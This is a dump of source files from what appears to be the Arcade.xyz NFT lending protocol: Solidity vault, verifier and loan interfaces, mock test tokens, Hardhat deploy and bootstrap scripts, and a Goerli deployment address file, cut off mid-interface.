VAULT_FACTORY = "0x0028BADf5d154DAE44F874AC58FFCd3fA56D9586" // goerli 25 | 26 | const reporterFactory = await ethers.getContractFactory("VaultInventoryReporter"); 27 | const reporter = await reporterFactory.deploy("Arcade.xyz Inventory Reporter v1.0"); 28 | // const reporter = await reporterFactory.attach("0x606E4a441290314aEaF494194467Fd2Bb844064A"); 29 | await reporter.deployed(); 30 | 31 | console.log("Inventory Reporter deployed to:", reporter.address); 32 | 33 | const routerFactory = await ethers.getContractFactory("VaultDepositRouter"); 34 | const router = await routerFactory.deploy(VAULT_FACTORY, reporter.address); 35 | await router.deployed(); 36 | 37 | console.log("Vault Deposit Router deployed to:", router.address); 38 | 39 | await reporter.setGlobalApproval(router.address, true); 40 | await reporter.transferOwnership(MULTISIG); 41 | 42 | console.log("Global approval set for router. Ownership transferred to multisig"); 43 | 44 | return { reporter, router }; 45 | } 46 | 47 | // We recommend this pattern to be able to use async/await everywhere 48 | // and properly handle errors. 49 | if (require.main === module) { 50 | main() 51 | .then(() => process.exit(0)) 52 | .catch((error: Error) => { 53 | console.error(error); 54 | process.exit(1); 55 | }); 56 | } 57 | -------------------------------------------------------------------------------- /contracts/test/WrappedPunks.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; 6 | import "../external/interfaces/IPunks.sol"; 7 | import "./UserProxy.sol"; 8 | 9 | contract WrappedPunk is ERC721 { 10 | event ProxyRegistered(address user, address proxy); 11 | 12 | // Instance of cryptopunk smart contract 13 | IPunks private _punkContract; 14 | 15 | // Mapping from user address to proxy address 16 | mapping(address => address) private _proxies; 17 | 18 | /** 19 | * @dev Initializes the contract settings 20 | */ 21 | constructor(address punkContract_) ERC721("Wrapped Cryptopunks", "WPUNKS") { 22 | _punkContract = IPunks(punkContract_); 23 | } 24 | 25 | /** 26 | * @dev Gets address of cryptopunk smart contract 27 | */ 28 | function punkContract() public view returns (address) { 29 | return address(_punkContract); 30 | } 31 | 32 | /** 33 | * @dev Registers proxy 34 | */ 35 | function registerProxy() public { 36 | address sender = _msgSender(); 37 | 38 | require(_proxies[sender] == address(0), "PunkWrapper: caller has registered the proxy"); 39 | 40 | address proxy = address(new UserProxy()); 41 | 42 | _proxies[sender] = proxy; 43 | 44 | emit ProxyRegistered(sender, proxy); 45 | } 46 | 47 | /** 48 | * @dev Gets proxy address 49 | */ 50 | function proxyInfo(address user) public view returns (address) { 51 | return _proxies[user]; 52 | } 53 | 54 | /** 55 | * @dev Mints a wrapped punk 56 | */ 57 | function mint(uint256 punkIndex) public { 58 | address sender = _msgSender(); 59 | 60 | UserProxy proxy = UserProxy(_proxies[sender]); 61 | 62 | require(proxy.transfer(address(_punkContract), punkIndex), "PunkWrapper: transfer fail"); 63 | 64 | _mint(sender, punkIndex); 65 | } 66 | 67 | /** 68 | * @dev Burns a specific wrapped punk 69 | */ 70 | function burn(uint256 punkIndex) public { 71 | address sender = _msgSender(); 72 | 73 | require(_isApprovedOrOwner(sender, punkIndex), "PunkWrapper: caller is not owner nor approved"); 74 | 75 | _burn(punkIndex); 76 | 77 | // Transfers ownership of punk on original cryptopunk smart contract to caller 78 | _punkContract.transferPunk(sender, punkIndex); 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /contracts/vault/CallWhitelistApprovals.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; 6 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 7 | 8 | import "./CallWhitelist.sol"; 9 | import "../interfaces/IERC721Permit.sol"; 10 | 11 | /** 12 | * @title CallWhitelistApprovals 13 | * @author Non-Fungible Technologies, Inc. 14 | * 15 | * Adds approvals functionality to CallWhitelist. Certain spenders 16 | * can be approved for tokens on vaults, with the requisite ability 17 | * to withdraw. Should not be used for tokens acting as collateral. 18 | * 19 | * The contract owner can add or remove approved token/spender pairs. 20 | */ 21 | contract CallWhitelistApprovals is CallWhitelist { 22 | event ApprovalSet(address indexed caller, address indexed token, address indexed spender, bool isApproved); 23 | 24 | // ============================================ STATE ============================================== 25 | 26 | // ================= Whitelist State ================== 27 | 28 | /// @notice Approved spenders of vault tokens. 29 | /// @dev token -> spender -> isApproved 30 | mapping(address => mapping(address => bool)) private approvals; 31 | 32 | /** 33 | * @notice Returns true if the given spender is approved to spend the given token. 34 | * 35 | * @param token The token approval to check. 36 | * @param spender The token spender. 37 | * 38 | * @return isApproved True if approved, else false. 39 | */ 40 | function isApproved(address token, address spender) public view returns (bool) { 41 | return approvals[token][spender]; 42 | } 43 | 44 | // ======================================== UPDATE OPERATIONS ======================================= 45 | 46 | /** 47 | * @notice Sets approval status of a given token for a spender. Note that this is 48 | * NOT a token approval - it is permission to create a token approval from 49 | * the asset vault. 50 | * 51 | * @param token The token approval to set. 52 | * @param spender The token spender. 53 | * @param _isApproved Whether the spender should be approved. 54 | */ 55 | function setApproval(address token, address spender, bool _isApproved) external onlyOwner { 56 | approvals[token][spender] = _isApproved; 57 | emit ApprovalSet(msg.sender, token, spender, _isApproved); 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /test/utils/loans.ts: -------------------------------------------------------------------------------- 1 | import { expect } from "chai"; 2 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; 3 | import { BigNumber, BigNumberish, ethers } from "ethers"; 4 | 5 | import { LoanCore, VaultFactory } from "../../typechain"; 6 | import { SignatureItem, ItemsPredicate } from "./types"; 7 | import { LoanTerms } from "./types"; 8 | 9 | export const initializeBundle = async (vaultFactory: VaultFactory, user: SignerWithAddress): Promise => { 10 | const tx = await vaultFactory.connect(user).initializeBundle(await user.getAddress()); 11 | const receipt = await tx.wait(); 12 | 13 | if (receipt && receipt.events) { 14 | for (const event of receipt.events) { 15 | if (event.event && event.event === "VaultCreated" && event.args && event.args.vault) { 16 | return event.args.vault; 17 | } 18 | } 19 | throw new Error("Unable to initialize bundle"); 20 | } else { 21 | throw new Error("Unable to initialize bundle"); 22 | } 23 | }; 24 | 25 | export const encodeSignatureItems = (items: SignatureItem[]): string => { 26 | const types = ["(uint256,address,int256,uint256)[]"]; 27 | const values = items.map(item => [item.cType, item.asset, item.tokenId, item.amount]); 28 | 29 | return ethers.utils.defaultAbiCoder.encode(types, [values]); 30 | }; 31 | 32 | export const encodeInts = (ints: BigNumberish[]): string => { 33 | const types = ["int256[]"]; 34 | 35 | return ethers.utils.defaultAbiCoder.encode(types, [ints]); 36 | } 37 | 38 | export const encodePredicates = (predicates: ItemsPredicate[]): string => { 39 | const types = ["(bytes,address)[]"]; 40 | const values = predicates.map(p => [p.data, p.verifier]); 41 | 42 | const coded = ethers.utils.defaultAbiCoder.encode(types, [values]); 43 | return ethers.utils.keccak256(coded); 44 | }; 45 | 46 | export const startLoan = async ( 47 | loanCore: LoanCore, 48 | originator: SignerWithAddress, 49 | lender: string, 50 | borrower: string, 51 | terms: LoanTerms, 52 | ): Promise => { 53 | const tx = await loanCore.connect(originator).startLoan(lender, borrower, terms); 54 | const receipt = await tx.wait(); 55 | 56 | const loanStartedEvent = receipt?.events?.find(e => e.event === "LoanStarted"); 57 | 58 | expect(loanStartedEvent).to.not.be.undefined; 59 | expect(loanStartedEvent?.args?.[1]).to.eq(lender); 60 | expect(loanStartedEvent?.args?.[2]).to.eq(borrower); 61 | 62 | const loanId = loanStartedEvent?.args?.[0]; 63 | 64 | return loanId; 65 | }; 66 | -------------------------------------------------------------------------------- /contracts/test/MockERC721.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/utils/Context.sol"; 6 | import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; 7 | import "@openzeppelin/contracts/utils/Counters.sol"; 8 | 9 | contract MockERC721 is Context, ERC721Enumerable { 10 | using Counters for Counters.Counter; 11 | Counters.Counter private _tokenIdTracker; 12 | 13 | /** 14 | * @dev Initializes ERC721 token 15 | */ 16 | constructor(string memory name, string memory symbol) ERC721(name, symbol) {} 17 | 18 | /** 19 | * @dev Creates a new token for `to`. Public for any test to call. 20 | * 21 | * See {ERC721-_mint}. 22 | */ 23 | function mint(address to) external returns (uint256 tokenId) { 24 | tokenId = _tokenIdTracker.current(); 25 | _mint(to, uint256(uint160(address(this))) + tokenId); 26 | _tokenIdTracker.increment(); 27 | } 28 | 29 | 30 | /** 31 | * @dev Creates a new token for `to`. Public for any test to call. 32 | * 33 | * See {ERC721-_mint}. 34 | */ 35 | function mintId(uint256 id, address to) external returns (uint256 tokenId) { 36 | _mint(to, id); 37 | _tokenIdTracker.increment(); 38 | 39 | return id; 40 | } 41 | 42 | /** 43 | * @dev Burn the given token, can be called by anyone 44 | */ 45 | function burn(uint256 tokenId) external { 46 | _burn(tokenId); 47 | } 48 | } 49 | 50 | contract MockERC721Metadata is MockERC721 { 51 | using Counters for Counters.Counter; 52 | Counters.Counter private _tokenIdTracker; 53 | 54 | mapping(uint256 => string) public tokenURIs; 55 | 56 | constructor(string memory name, string memory symbol) MockERC721(name, symbol) {} 57 | 58 | function tokenURI(uint256 tokenId) public view override returns (string memory) { 59 | require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); 60 | return tokenURIs[tokenId]; 61 | } 62 | 63 | /** 64 | * @dev Creates a new token for `to`. Public for any test to call. 65 | * 66 | * See {ERC721-_mint}. 67 | */ 68 | function mint(address to, string memory tokenUri) external returns (uint256 tokenId) { 69 | tokenId = _tokenIdTracker.current(); 70 | _mint(to, tokenId); 71 | _tokenIdTracker.increment(); 72 | _setTokenURI(tokenId, tokenUri); 73 | } 74 | 75 | function _setTokenURI(uint256 tokenId, string memory tokenUri) internal { 76 | tokenURIs[tokenId] = tokenUri; 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /scripts/utils/mint-distribute-assets.ts: -------------------------------------------------------------------------------- 1 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/dist/src/signer-with-address"; 2 | 3 | import { MockERC1155Metadata, MockERC20, MockERC721Metadata } from "../../typechain"; 4 | 5 | import { getBalance, mintTokens } from "./tokens"; 6 | import { getBalanceERC1155, mintNFTs } from "./nfts"; 7 | import { SUBSECTION_SEPARATOR } from "./bootstrap-tools"; 8 | 9 | export async function mintAndDistribute( 10 | signers: SignerWithAddress[], 11 | weth: MockERC20, 12 | pawnToken: MockERC20, 13 | usd: MockERC20, 14 | punks: MockERC721Metadata, 15 | art: MockERC721Metadata, 16 | beats: MockERC1155Metadata, 17 | ): Promise { 18 | // Give a bunch of everything to signer[0] 19 | await mintTokens(signers[0].address, [1000, 500000, 2000000], weth, pawnToken, usd); 20 | await mintNFTs(signers[0].address, [20, 20, 20, 20], punks, art, beats); 21 | 22 | // Give a mix to signers[1] through signers[5] 23 | await mintTokens(signers[1].address, [0, 2000, 10000], weth, pawnToken, usd); 24 | await mintNFTs(signers[1].address, [5, 0, 2, 1], punks, art, beats); 25 | 26 | await mintTokens(signers[2].address, [450, 350.5, 5000], weth, pawnToken, usd); 27 | await mintNFTs(signers[2].address, [0, 0, 1, 0], punks, art, beats); 28 | 29 | await mintTokens(signers[3].address, [2, 50000, 7777], weth, pawnToken, usd); 30 | await mintNFTs(signers[3].address, [10, 3, 7, 0], punks, art, beats); 31 | 32 | await mintTokens(signers[4].address, [50, 2222.2, 12.1], weth, pawnToken, usd); 33 | await mintNFTs(signers[4].address, [1, 12, 1, 6], punks, art, beats); 34 | 35 | console.log("Initial balances:"); 36 | for (const i in signers) { 37 | const signer = signers[i]; 38 | const { address: signerAddr } = signer; 39 | 40 | console.log(SUBSECTION_SEPARATOR); 41 | console.log(`Signer ${i}: ${signerAddr}`); 42 | console.log("PawnPunks balance:", await getBalance(punks, signerAddr)); 43 | console.log("PawnArt balance:", await getBalance(art, signerAddr)); 44 | console.log("PawnBeats Edition 0 balance:", await getBalanceERC1155(beats, 0, signerAddr)); 45 | console.log("PawnBeats Edition 1 balance:", await getBalanceERC1155(beats, 1, signerAddr)); 46 | console.log("ETH balance:", (await signer.getBalance()).toString()); 47 | console.log("WETH balance:", await getBalance(weth, signerAddr)); 48 | console.log("PAWN balance:", await getBalance(pawnToken, signerAddr)); 49 | console.log("PUSD balance:", await getBalance(usd, signerAddr)); 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /scripts/bootstrap-state-with-loans.ts: -------------------------------------------------------------------------------- 1 | /* eslint no-unused-vars: 0 */ 2 | 3 | import { ethers } from "hardhat"; 4 | 5 | import { main as deploy } from "./deploy/deploy"; 6 | import { SECTION_SEPARATOR, vaultAssetsAndMakeLoans } from "./utils/bootstrap-tools"; 7 | import { mintAndDistribute } from "./utils/mint-distribute-assets"; 8 | import { deployNFTs } from "./utils/deploy-assets"; 9 | 10 | export async function main(): Promise { 11 | // Bootstrap five accounts only. 12 | // Skip the first account, since the 13 | // first signer will be the deployer. 14 | const [, ...signers] = (await ethers.getSigners()).slice(1, 7); 15 | 16 | console.log(SECTION_SEPARATOR); 17 | console.log("Deploying resources...\n"); 18 | 19 | // Deploy the smart contracts 20 | const { 21 | vaultFactory, 22 | originationController, 23 | borrowerNote, 24 | repaymentController, 25 | lenderNote, 26 | loanCore, 27 | feeController, 28 | whitelist, 29 | verifier 30 | } = await deploy(); 31 | 32 | // Mint some NFTs 33 | console.log(SECTION_SEPARATOR); 34 | const { punks, art, beats, weth, pawnToken, usd } = await deployNFTs(); 35 | 36 | // Distribute NFTs and ERC20s 37 | console.log(SECTION_SEPARATOR); 38 | console.log("Distributing assets...\n"); 39 | await mintAndDistribute(signers, weth, pawnToken, usd, punks, art, beats); 40 | 41 | // Vault some assets 42 | console.log(SECTION_SEPARATOR); 43 | console.log("Vaulting assets...\n"); 44 | await vaultAssetsAndMakeLoans( 45 | signers, 46 | vaultFactory, 47 | originationController, 48 | borrowerNote, 49 | repaymentController, 50 | lenderNote, 51 | loanCore, 52 | feeController, 53 | whitelist, 54 | verifier, 55 | punks, 56 | usd, 57 | beats, 58 | weth, 59 | art, 60 | pawnToken, 61 | ); 62 | 63 | // End state: 64 | // 0 is clean (but has a bunch of tokens and NFTs) 65 | // 1 has 2 bundles and 1 open borrow, one closed borrow 66 | // 2 has two open lends and one closed lend 67 | // 3 has 3 bundles, two open borrows, one closed borrow, and one closed lend 68 | // 4 has 1 bundle, an unused bundle, one open lend and one open borrow 69 | } 70 | 71 | // We recommend this pattern to be able to use async/await everywhere 72 | // and properly handle errors. 73 | if (require.main === module) { 74 | main() 75 | .then(() => process.exit(0)) 76 | .catch((error: Error) => { 77 | console.error(error); 78 | process.exit(1); 79 | }); 80 | } 81 | -------------------------------------------------------------------------------- /contracts/interfaces/ILoanCore.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; 6 | 7 | import "../libraries/LoanLibrary.sol"; 8 | 9 | import "./IPromissoryNote.sol"; 10 | import "./IFeeController.sol"; 11 | import "./ILoanCore.sol"; 12 | 13 | interface ILoanCore { 14 | // ================ Events ================= 15 | 16 | event LoanCreated(LoanLibrary.LoanTerms terms, uint256 loanId); 17 | event LoanStarted(uint256 loanId, address lender, address borrower); 18 | event LoanRepaid(uint256 loanId); 19 | event LoanRolledOver(uint256 oldLoanId, uint256 newLoanId); 20 | event InstallmentPaymentReceived(uint256 loanId, uint256 repaidAmount, uint256 remBalance); 21 | event LoanClaimed(uint256 loanId); 22 | event FeesClaimed(address token, address to, uint256 amount); 23 | event SetFeeController(address feeController); 24 | event NonceUsed(address indexed user, uint160 nonce); 25 | 26 | // ============== Lifecycle Operations ============== 27 | 28 | function startLoan( 29 | address lender, 30 | address borrower, 31 | LoanLibrary.LoanTerms calldata terms 32 | ) external returns (uint256 loanId); 33 | 34 | function repay(uint256 loanId) external; 35 | 36 | function repayPart( 37 | uint256 _loanId, 38 | uint256 _currentMissedPayments, 39 | uint256 _paymentToPrincipal, 40 | uint256 _paymentToInterest, 41 | uint256 _paymentToLateFees 42 | ) external; 43 | 44 | function claim(uint256 loanId, uint256 currentInstallmentPeriod) external; 45 | 46 | function rollover( 47 | uint256 oldLoanId, 48 | address borrower, 49 | address lender, 50 | LoanLibrary.LoanTerms calldata terms, 51 | uint256 _settledAmount, 52 | uint256 _amountToOldLender, 53 | uint256 _amountToLender, 54 | uint256 _amountToBorrower 55 | ) external returns (uint256 newLoanId); 56 | 57 | // ============== Nonce Management ============== 58 | 59 | function consumeNonce(address user, uint160 nonce) external; 60 | 61 | function cancelNonce(uint160 nonce) external; 62 | 63 | // ============== View Functions ============== 64 | 65 | function getLoan(uint256 loanId) external view returns (LoanLibrary.LoanData calldata loanData); 66 | 67 | function isNonceUsed(address user, uint160 nonce) external view returns (bool); 68 | 69 | function borrowerNote() external returns (IPromissoryNote); 70 | 71 | function lenderNote() external returns (IPromissoryNote); 72 | 73 | function feeController() external returns (IFeeController); 74 | } 75 | -------------------------------------------------------------------------------- /.deployments/goerli/goerli-1663032134.json: -------------------------------------------------------------------------------- 1 | { 2 | "CallWhitelist": { 3 | "contractAddress": "0x812cd1BbCD6279f9537D77AcDf3034Ffaaa94571", 4 | "contractImplementationAddress": "", 5 | "constructorArgs": [] 6 | }, 7 | "AssetVault": { 8 | "contractAddress": "0x7988Fb6D7Bac5Fe3F9746b2dF21013aa4747dCf0", 9 | "contractImplementationAddress": "", 10 | "constructorArgs": [] 11 | }, 12 | "VaultFactory": { 13 | "contractAddress": "0x0028BADf5d154DAE44F874AC58FFCd3fA56D9586", 14 | "contractImplementationAddress": "0xe27e2fE60c25d338d4773c30992D54727f1E5FE2", 15 | "constructorArgs": [] 16 | }, 17 | "FeeController": { 18 | "contractAddress": "0x0e8F3FC7542185b5f6e22B59D48A235Cb3c5f5a6", 19 | "contractImplementationAddress": "", 20 | "constructorArgs": [] 21 | }, 22 | "BorrowerNote": { 23 | "contractAddress": "0xd691039144519D36bc819bc98C3202b46cB80293", 24 | "constructorArgs": [ 25 | "Arcade.xyz BorrowerNote", 26 | "aBN" 27 | ] 28 | }, 29 | "LenderNote": { 30 | "contractAddress": "0x7D1481418541812ef06217d2eD53fC8D0FF39D67", 31 | "constructorArgs": [ 32 | "Arcade.xyz LenderNote", 33 | "aLN" 34 | ] 35 | }, 36 | "LoanCore": { 37 | "contractAddress": "0x398DeEB51C56819880f2A2343705510A0c868747", 38 | "contractImplementationAddress": "0x252c58a1998aD26f9C0909E4cc8A389125b982FB", 39 | "constructorArgs": [] 40 | }, 41 | "RepaymentController": { 42 | "contractAddress": "0xf925cC109F489fb930f793468A17d39d45C51AbB", 43 | "contractImplementationAddress": "", 44 | "constructorArgs": [ 45 | "0x398DeEB51C56819880f2A2343705510A0c868747" 46 | ] 47 | }, 48 | "OriginationController": { 49 | "contractAddress": "0xc0209D538888C7779A9C5B43224F2D49EAbF86fd", 50 | "contractImplementationAddress": "0xE60064E31F71f8c61B66e834757396C1f1f7ABBB", 51 | "constructorArgs": [] 52 | }, 53 | "ArcadeItemsVerifier": { 54 | "contractAddress": "0x782B2E4cCa4B5C75392846e73fAe83D3F6Ae85e8", 55 | "contractImplementationAddress": "", 56 | "constructorArgs": [] 57 | }, 58 | "CallWhitelistApprovals": { 59 | "contractAddress": "0x7C2A27485B69f490945943464541236a025161F6", 60 | "contractImplementationAddress": "", 61 | "constructorArgs": [] 62 | }, 63 | "AssetVault[Staking]": { 64 | "contractAddress": "0x11C40eE1935B7e7118Fb06A79eED2316cFa99152", 65 | "contractImplementationAddress": "", 66 | "constructorArgs": [] 67 | }, 68 | "VaultFactory[Staking]": { 69 | "contractAddress": "0x0913aD7F7f684749Dcf626312B59CA0d91B21f4f", 70 | "contractImplementationAddress": "0x82bBE1c93F77a3c39d8018454e12aa81d7f819F8", 71 | "constructorArgs": [] 72 | }, 73 | "FlashRolloverStakingVaultUpgrade": { 74 | "contractAddress": "0xa1B1e697583210358Ef381690D607e3B5Faf74fd", 75 | "contractImplementationAddress": "", 76 | "constructorArgs": [ 77 | "0xBA12222222228d8Ba445958a75a0704d566BF2C8" 78 | ] 79 | } 80 | } -------------------------------------------------------------------------------- /contracts/vault/VaultOwnershipChecker.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; 6 | 7 | import "../interfaces/IVaultDepositRouter.sol"; 8 | import "../interfaces/IVaultInventoryReporter.sol"; 9 | import "../interfaces/IVaultFactory.sol"; 10 | 11 | /** 12 | * @title VaultOwnershipChecker 13 | * @author Non-Fungible Technologies, Inc. 14 | * 15 | * This abstract contract contains utility functions for checking AssetVault 16 | * ownership or approval, which is needed for many contracts which work with vaults. 17 | */ 18 | abstract contract VaultOwnershipChecker { 19 | 20 | // ============= Errors ============== 21 | 22 | error VOC_ZeroAddress(); 23 | error VOC_InvalidVault(address vault); 24 | error VOC_NotOwnerOrApproved(address vault, address owner, address caller); 25 | 26 | // ================ Ownership Check ================ 27 | 28 | /** 29 | * @dev Validates that the caller is allowed to deposit to the specified vault (owner or approved), 30 | * and that the specified vault exists. Reverts on failed validation. 31 | * 32 | * @param factory The vault ownership token for the specified vault. 33 | * @param vault The vault that will be deposited to. 34 | * @param caller The caller who wishes to deposit. 35 | */ 36 | function _checkApproval(address factory, address vault, address caller) internal view { 37 | if (vault == address(0)) revert VOC_ZeroAddress(); 38 | if (!IVaultFactory(factory).isInstance(vault)) revert VOC_InvalidVault(vault); 39 | 40 | uint256 tokenId = uint256(uint160(vault)); 41 | address owner = IERC721(factory).ownerOf(tokenId); 42 | 43 | if ( 44 | caller != owner 45 | && IERC721(factory).getApproved(tokenId) != caller 46 | && !IERC721(factory).isApprovedForAll(owner, caller) 47 | ) revert VOC_NotOwnerOrApproved(vault, owner, caller); 48 | } 49 | 50 | /** 51 | * @dev Validates that the caller is directly the owner of the vault, 52 | * and that the specified vault exists. Reverts on failed validation. 53 | * 54 | * @param factory The vault ownership token for the specified vault. 55 | * @param vault The vault that will be deposited to. 56 | * @param caller The caller who wishes to deposit. 57 | */ 58 | function _checkOwnership(address factory, address vault, address caller) public view { 59 | if (vault == address(0)) revert VOC_ZeroAddress(); 60 | if (!IVaultFactory(factory).isInstance(vault)) revert VOC_InvalidVault(vault); 61 | 62 | uint256 tokenId = uint256(uint160(vault)); 63 | address owner = IERC721(factory).ownerOf(tokenId); 64 | 65 | if (caller != owner) revert VOC_NotOwnerOrApproved(vault, owner, caller); 66 | } 67 | } -------------------------------------------------------------------------------- /contracts/errors/Vault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | /** 6 | * @title VaultErrors 7 | * @author Non-Fungible Technologies, Inc. 8 | * 9 | * This file contains all custom errors for vault contracts used by the protocol. 10 | * All errors prefixed by the contract that throws them (e.g., "AV_" for Asset Vault). 11 | * Errors located in one place to make it possible to holistically look at all 12 | * asset vault failure cases. 13 | */ 14 | 15 | // ==================================== Asset Vault ====================================== 16 | /// @notice All errors prefixed with AV_, to separate from other contracts in the protocol. 17 | 18 | /** 19 | * @notice Vault withdraws must be enabled. 20 | */ 21 | error AV_WithdrawsDisabled(); 22 | 23 | /** 24 | * @notice Vault withdraws enabled. 25 | */ 26 | error AV_WithdrawsEnabled(); 27 | 28 | /** 29 | * @notice Asset vault already initialized. 30 | * 31 | * @param ownershipToken Caller of initialize function in asset vault contract. 32 | */ 33 | error AV_AlreadyInitialized(address ownershipToken); 34 | 35 | /** 36 | * @notice Call disallowed. 37 | * 38 | * @param caller Msg.sender of the function call. 39 | */ 40 | error AV_CallDisallowed(address caller); 41 | 42 | /** 43 | * @notice Call disallowed. 44 | * 45 | * @param to The contract address to call. 46 | * @param data The data to call the contract with. 47 | */ 48 | error AV_NonWhitelistedCall(address to, bytes4 data); 49 | 50 | /** 51 | * @notice Approval disallowed. 52 | * 53 | * @param token The token to approve. 54 | * @param spender The spender to approve. 55 | */ 56 | error AV_NonWhitelistedApproval(address token, address spender); 57 | 58 | // ==================================== Ownable ERC721 ====================================== 59 | /// @notice All errors prefixed with OERC721_, to separate from other contracts in the protocol. 60 | 61 | /** 62 | * @notice Function caller is not the owner. 63 | * 64 | * @param caller Msg.sender of the function call. 65 | */ 66 | error OERC721_CallerNotOwner(address caller); 67 | 68 | // ==================================== Vault Factory ====================================== 69 | /// @notice All errors prefixed with VF_, to separate from other contracts in the protocol. 70 | 71 | /** 72 | * @notice Template contract is invalid. 73 | * 74 | * @param template Template contract to be cloned. 75 | */ 76 | error VF_InvalidTemplate(address template); 77 | 78 | /** 79 | * @notice Global index out of bounds. 80 | * 81 | * @param tokenId AW-V2 tokenId of the asset vault. 82 | */ 83 | error VF_TokenIdOutOfBounds(uint256 tokenId); 84 | 85 | /** 86 | * @notice Cannot transfer with withdraw enabled. 87 | * 88 | * @param tokenId AW-V2 tokenId of the asset vault. 89 | */ 90 | error VF_NoTransferWithdrawEnabled(uint256 tokenId); 91 | -------------------------------------------------------------------------------- /contracts/verifiers/PunksVerifier.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; 6 | import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; 7 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 8 | import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; 9 | import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; 10 | import "@openzeppelin/contracts/utils/math/SafeCast.sol"; 11 | 12 | import "../interfaces/ISignatureVerifier.sol"; 13 | import "../external/interfaces/IPunks.sol"; 14 | 15 | import { IV_InvalidTokenId } from "../errors/Lending.sol"; 16 | 17 | /** 18 | * @title PunksVerifier 19 | * @author Non-Fungible Technologies, Inc. 20 | * 21 | * See ItemsVerifier for a more thorough description of the Verifier 22 | * pattern used in Arcade.xyz's lending protocol. This contract 23 | * verifies predicates that check ownership of a certain CryptoPunk 24 | * by an asset vault. 25 | */ 26 | contract PunksVerifier is ISignatureVerifier { 27 | using SafeCast for int256; 28 | 29 | // ============================================ STATE ============================================== 30 | 31 | // =============== Contract References =============== 32 | 33 | IPunks public immutable punks; 34 | 35 | // ========================================== CONSTRUCTOR =========================================== 36 | 37 | constructor(address _punks) { 38 | punks = IPunks(_punks); 39 | } 40 | 41 | // ==================================== COLLATERAL VERIFICATION ===================================== 42 | 43 | /** 44 | * @notice Verify that the items specified by the packed int256 array are held by the vault. 45 | * @dev Reverts on out of bounds token Ids, returns false on missing contents. 46 | * 47 | * Verification for empty predicates array has been addressed in initializeLoanWithItems and 48 | * rolloverLoanWithItems. 49 | * 50 | * @param predicates The int256[] array of punk IDs to check for, packed in bytes. 51 | * @param vault The vault that should own the specified items. 52 | * 53 | * @return verified Whether the bundle contains the specified items. 54 | */ 55 | // solhint-disable-next-line code-complexity 56 | function verifyPredicates(bytes calldata predicates, address vault) external view override returns (bool) { 57 | // Unpack items 58 | int256[] memory tokenIds = abi.decode(predicates, (int256[])); 59 | 60 | for (uint256 i = 0; i < tokenIds.length; i++) { 61 | int256 tokenId = tokenIds[i]; 62 | 63 | if (tokenId > 9999) revert IV_InvalidTokenId(tokenId); 64 | 65 | if (tokenId < 0 && punks.balanceOf(vault) == 0) return false; 66 | // Does not own specifically specified asset 67 | else if (tokenId >= 0 && punks.punkIndexToAddress(tokenId.toUint256()) != vault) return false; 68 | } 69 | 70 | // Loop completed - all items found 71 | return true; 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /contracts/interfaces/IFlashRollover.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.11; 4 | 5 | import "../external/interfaces/ILendingPool.sol"; 6 | import "./ILoanCore.sol"; 7 | import "./IOriginationController.sol"; 8 | import "./IRepaymentController.sol"; 9 | import "./IVaultFactory.sol"; 10 | 11 | import "../v1/ILoanCoreV1.sol"; 12 | 13 | interface IFlashLoanReceiver { 14 | function executeOperation( 15 | address[] calldata assets, 16 | uint256[] calldata amounts, 17 | uint256[] calldata premiums, 18 | address initiator, 19 | bytes calldata params 20 | ) external returns (bool); 21 | 22 | // Function names defined by AAVE 23 | /* solhint-disable func-name-mixedcase */ 24 | function ADDRESSES_PROVIDER() external view returns (ILendingPoolAddressesProvider); 25 | 26 | function LENDING_POOL() external view returns (ILendingPool); 27 | /* solhint-enable func-name-mixedcase */ 28 | } 29 | 30 | interface IFlashRollover is IFlashLoanReceiver { 31 | event Rollover(address indexed lender, address indexed borrower, uint256 collateralTokenId, uint256 newLoanId); 32 | 33 | event Migration(address indexed oldLoanCore, address indexed newLoanCore, uint256 newLoanId); 34 | 35 | event SetOwner(address owner); 36 | 37 | /** 38 | * The contract references needed to roll 39 | * over the loan. Other dependent contracts 40 | * (asset wrapper, promissory notes) can 41 | * be fetched from the relevant LoanCore 42 | * contracts. 43 | */ 44 | struct RolloverContractParams { 45 | ILoanCoreV1 sourceLoanCore; 46 | ILoanCore targetLoanCore; 47 | IRepaymentController sourceRepaymentController; 48 | IOriginationController targetOriginationController; 49 | IVaultFactory targetVaultFactory; 50 | } 51 | 52 | /** 53 | * Holds parameters passed through flash loan 54 | * control flow that dictate terms of the new loan. 55 | * Contains a signature by lender for same terms. 56 | */ 57 | struct OperationData { 58 